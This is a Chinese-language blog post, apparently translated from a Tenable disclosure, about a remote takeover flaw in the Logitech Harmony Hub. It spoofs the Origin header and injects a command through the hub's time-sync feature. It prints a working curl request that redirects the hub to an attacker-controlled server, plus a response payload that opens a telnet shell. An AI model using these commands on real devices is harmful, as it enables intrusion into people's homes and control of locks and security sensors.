Logitech的Harmony Hub是一款很受欢迎的智能家居设备,可与家中所有的联网设备进行通信和控制。目前在全球已有数百万用户使用,支持来自6000个品牌的27万台设备。Tenable最近发布了这个产品的关键的、未公开的漏洞,允许攻击者在未授权的情况下远程控制设备。
Hub因其脚本编写和自动化功能而深受好评。随着智能家居越来越主流,一个功能强大的控制器显得愈发重要。亚马逊(Alexa)、谷歌(Home)、苹果(Apple)和罗技(Harmony)都拥有类似产品。而罗技的Harmony也是一个不错的选择。
但是,智能家居的集中控制也吸引了攻击者的目光。如果能够攻下这个控制点,就可以非法访问连接到集控制器的每个设备。智能锁、电视、恒温器,甚至智能冰箱都可能被远程攻击者所控制。
这个Hub开放了3个端口,运行XMPP、WebSocket和一个定制的Web API服务。这些服务都通过Lua语言实现。
你可以在设备更新期间获取固件。里面包含一个Linux内核和一个带有应用代码的squash文件系统。应用代码是一些被编译的Lua文件,用于实现Hub的服务和功能。你可以使用luadec github project的补丁版本对其进行反编译。
这些lua文件实现了Harmony Hub的所有运行逻辑和智能家居的相关功能。Harmony Hub使用消息传递系统,当用户使用app控制Hub时,Logitech的远程服务器可命令Hub开始工作。当然,有一种保护机制来确保只有受信任的服务器才能发出请求。然而,保护机制存在缺陷,任何远程攻击者都可绕过安全措施。
Hub会处理来自远程主机的所有网络请求,当然,在处理请求之前会验证来源。理论上来说这没有什么问题;但是,攻击者可以很容易地在HTTP请求头中加一行代码来伪造请求源头。此时,任何远程攻击者都可轻易绕过安全检查,驱使Hub做任何事。
这个Hub有一个时钟同步功能。主要靠接受来自可信任服务器的输入,再在Linux的shell上执行命令来同步。注意,这个输入并不会进行安全检查。
到目前为止,我们有两件事要做:
利用时钟同步功能注入命令
绕过源头验证
为此,我们先执行一个HTTP请求,将时钟同步服务器设置为受攻击者控制的服务器。然后Hub将请求使用新设置的服务器重新同步时钟,这时再注入命令。
curl -d "{'cmd':'setup.account?provision', 'params': { 'provisionInfo': { 'mode':3, 'authToken':'1', 'discoveryServer':'http://10.0.0.10' } } }" -H "Origin: .myharmony.com" -H "Content-Type: application/json" http://10.0.0.176:8088
源到点设备到攻击者控制的服务器的伪造HTTP请求
{"DiscoveryUrls": [{ "Identifier":"TimeServer/current", "Address":"http://10.0.0.10/TimeServer/ current" }] }
时钟同步服务器的接收到的设备请求
{"utc":"0\";/bin/busybox telnetd -l/bin/sh -p9999;date -s \"0"}
攻击者控制的时钟同步服务器的响应
在设备被完全控制后,远程攻击者可以访问连接到Hub上的所有智能设备。攻击者可以修改Nest恒温器的参数,关闭家庭安全设备的传感器,打开车门门闩,如下面所展示的一样。
https://cdn-images-1.medium.com/max/800/0*cPsJsU09oa_G_NFJ
Hub式硬件将始终是攻击者的一个主要目标,因为攻破一个产品就相当能控制一堆产品连接多个设备。因此,这些Hub式设备应拥有比其他设备更高的安全标准,加大攻击难度。
来源:https://medium.com/tenable-techblog/owning-the-smart-home-with-logitech-harmony-hub-fe2135e4adac
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.